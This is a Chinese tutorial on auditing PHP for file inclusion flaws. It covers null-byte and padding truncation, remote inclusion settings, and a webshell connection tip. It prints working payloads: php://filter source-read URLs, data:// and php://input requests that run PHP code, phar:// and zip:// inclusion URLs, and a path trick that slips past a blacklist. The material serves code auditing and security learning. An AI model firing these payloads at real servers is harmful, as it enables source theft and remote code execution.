php代码审计6之文件包含

news/2025/2/12 5:13:03/

文章目录

  • 1、造成漏洞四个函数
  • 2、截断后边拼接的字符
      • 2.1、场景:
      • 2.2、00截断限制
      • 2.3、垃圾字符填充
      • 2.4、在目标服务器创建文件
      • 3、远程文件包含
  • 4、涉及伪协议
      • 4.1、 fillter、file
      • 4.2、data协议
      • 4.3、php://input协议
      • 4.4、 phar:// 协议
      • 4.5、 zip协议
      • 4.6、其他协议参考
  • 5、其他小tips
      • 5.1、快速寻找文件包含漏洞
      • 5.2、写了吗一直无法连接
      • 5.3、CMD的小技巧(重要)
      • 5.4、数据库的存储最终也会以文件的形式保存在本地

1、造成漏洞四个函数

require()		//有错误信息警告退出
include()		//错误信息继续执行#包含一次
require_once()
include_once()两个函数的区别原因是,include是先正常执行原本的代码,执行到包含的地方再把包含文件拿过来执行。require是先整合完整的代码,在一起执行

2、截断后边拼接的字符

2.1、场景:

'var/tmp/'.$aa.'.pdf'可以控制 $aa,如何达到任意文件读取在高版本php的情况下,这种几乎无法利用

2.2、00截断限制

php版本要小于5.3magic_quotes_gpc需要为OFF状态使用:http://aa.com?a.php?aa/../../a.php%00参考:https://ms12020.github.io/2021/05/05/wen-jian-bao-han-jie-duan/

2.3、垃圾字符填充

php版本小于5.3win系统需要超过256字符Linux需要超过4096字符
test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/./././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/./././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

或者使用

test.txt.............................................................................................................................................................................................................

2.4、在目标服务器创建文件

参考p牛文章,个人实际测试失败,但是该方法应该是综上最优的了https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

3、远程文件包含

allow_url_fopen = On(是否允许打开远程文件)allow_url_include = On(是否允许include/require远程文件) (默认是关闭  )

所以,默认情况下是无法造成此漏洞的

远程包含截断使用“?”或者“%23”截断本质传参和锚点忽略原本拼接的字符串

不过LFI和RFI其实也不是绝对的隔离:

windows可以通过SMB文件共享来绕过allow_url_include = on文件包含的时候通过SMB共享文件来包含当然这种特定的环境还是比较少见的

4、涉及伪协议

4.1、 fillter、file

用来读取服务器源代码

rce=php://filter/convert.base64-encode/resource=../flag.phprce=php://filter/read=convert.base64-encode/resource=../flag.phprce=file://C:\1.txt			#file://+绝对路径  

4.2、data协议

先说data协议与上边的差不多

rce=data://text/plain,<?php phpinfo();?>rce=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
PD9waHAgcGhwaW5mbygpOw==		是  <?php phpinfo();结尾没有“ ?> ”	具体原因参考data细节,https://blog.csdn.net/qq_46091464/article/details/106665358

4.3、php://input协议

php://input需要进行post传参(即使后端使用的$_GET[‘rce’]来获取)

详细请求数据包,

POST /page/include.php?rce=php://input HTTP/1.1
Host: www.phpsec.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18<?php phpinfo();?>

注意的是,当enctype="multipart/form-data"时,php://input是无效的。

4.4、 phar:// 协议

限制:

php.ini配置文件内 phar.readonly  需要设置为off(默认为on)需要将恶意代码打包成zip压缩包,然后上传到服务器上

例如:

http://www.phpsec.com/page/include.php?rce=phar://./php.zip/php.txt  

4.5、 zip协议

与phar协议利用类似(不过似乎没有上面的限制)

zip://./php.zip%23php.txt

4.6、其他协议参考

https://segmentfault.com/a/1190000018991087

5、其他小tips

5.1、快速寻找文件包含漏洞

直接搜索“include”关键字,然后查看语句。有这种比较明显的可以直接去看。include 'xxx/xxx/xxx'. $_POST['aa'] .'/xxx.php';

5.2、写了吗一直无法连接

考虑换一个版本的菜刀或者换“一件”之类的工具

假设有“魔术引号”的困扰,可以采取header传参的方式绕过

5.3、CMD的小技巧(重要)

先cd到一个不存在的路径,然后在跳出这个不存在的文件夹(一般用来绕过某种限制)比如,cd asdasdasd!!@#$%^&*/../admin	==	cd admin

类似的场景,存在正则不准以index开头,

但是我们想访问的就得以index开头,就可以这么用。

a/../index

或者绕过黑名单,

$heimingdan = arrar('import.php','export.php');var_dump(in_array($_REQUEST['xx']),$heimingdan);可以传入,	“ xx=a/../import.php ”

5.4、数据库的存储最终也会以文件的形式保存在本地

比如mysql数据库的数据,都会保存在其“ mysql/data/ ”文件夹下,

应该是这个关系

aa数据库,bb表,内cc字段的话;就是“ mysql/data/aa/bb.frm ”文件,而cc字段在这个文件内。

另外可以通过以下语句来查询数据库存储的位置,

select @@datadir 

http://www.ppmy.cn/news/696103.html

相关文章

怎么用软件测试iPad,Apple:如何在iphone、ipad上安装一些常用命令行命令

qe#v3mx`*X0相信对Linux、Unix比较熟悉的朋友,在iphone或 ipad越狱后发现通过Cydia可以安装OpenSSH,一定都想安装上并且通过ssh登录上去看看,但是登录后却发现几乎没几个命令可用,也就只有ls、cd等一些常用的命令,至于ifconfig、ping、netstat等都没有。。。 下面就来介绍…

parquet和textfile存储对比

有人说parquet是列存储&#xff0c;textfile 是行存储&#xff08;类似关系型数据库oracle表&#xff09;&#xff0c;那么我半信半疑&#xff0c;那么我们试试看。我有个毛病&#xff0c;听别人说&#xff0c;没有底气&#xff0c;凡事都想自己尝试&#xff0c;拿事实说话。 …

Spring_day03

Spring_day03 今日目标 理解并掌握AOP相关概念能够说出AOP的工作流程能运用AOP相关知识完成对应的案例编写重点掌握Spring的声明式事务管理 1&#xff0c;AOP简介 前面我们在介绍Spring的时候说过&#xff0c;Spring有两个核心的概念&#xff0c;一个是IOC/DI&#xff0c;一个…

简易分析,对流扩散方程,在四边形等参网格中的有限元离散过程,以及数值积分

1、生成弱形式 a.等式两侧同时乘测试函数 ψ \psi ψ ψ ( − ∇ ⋅ ∇ u ) ψ ( v ⃗ ⋅ ∇ u ) 0 ψ , u ∈ V (2.1) \psi(-\nabla \cdot \nabla u) \psi (\vec{v} \cdot \nabla u )0 \quad \quad \psi,u \in V \tag{2.1} ψ(−∇⋅∇u)ψ(v ⋅∇u)0ψ,u∈V(2.1) 这里 V …

Web初学-2022.11.12-11.18

第四周笔记 48.position定位&#xff08;K84-K88&#xff09; 1.position特性 a. css position属性用于指定一个元素在文档中的定位方式。 b. top、right、bottom、left属性则决定了该元素的最终位置 2.position取值 staic&#xff08;默认&#xff09; re…

m基于PSO粒子群优化的柔性制造系统AGV调度模型matlab仿真

目录 1.算法描述 2.仿真效果预览 3.MATLAB核心程序 4.完整MATLAB 1.算法描述 在PSO中&#xff0c;群中的每个粒子表示为向量。在投资组合优化的背景下&#xff0c;这是一个权重向量&#xff0c;表示每个资产的分配资本。矢量转换为多维搜索空间中的位置。每个粒子也会记住它…

使用haproxy实现负载均衡集群

使用haproxy实现负载均衡集群 HAProxy概述&#xff1a; HAProxy提供高可用性、负载均衡以及基于TCP和HTTP应用的代理&#xff0c;支持虚拟主机&#xff0c;它是免费、快速并且可靠的一种解决方案。根据官方数据&#xff0c;其最高极限支持10G的并发。 HAProxy特别适用于那些负载…

magento-community/Yoast_MetaRobots ------------设定是否让谷歌抓取页面的插件----seo插件...

key:magento-community/Yoast_MetaRobots http://www.magentocommerce.com/magento-connect/Yoast/extension/920/yoast-metarobots